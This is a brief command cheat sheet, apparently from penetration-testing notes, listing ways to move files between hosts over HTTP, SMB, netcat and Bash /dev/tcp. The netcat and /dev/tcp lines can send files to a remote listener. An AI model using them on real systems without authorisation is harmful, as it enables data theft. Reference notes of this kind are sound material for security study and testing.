File Transfer
Integrity verification
md5sum <file>
HTTP
HTTP Server
python3 -m http.server <port>
Download
wget <url>
SMB
SMB Server
smbserver.py <share_name> <share_path> -smb2support [-username <out_file> -password <out_file>]
Download
smbclient -U '<user>[%<password>]' //<ip>/<share> -c "get <src_file> <out_file>"
Netcat
nc -nlvp <port> < <src_file>
Bash
cat <src_file> > /dev/tcp/<ip>/<port>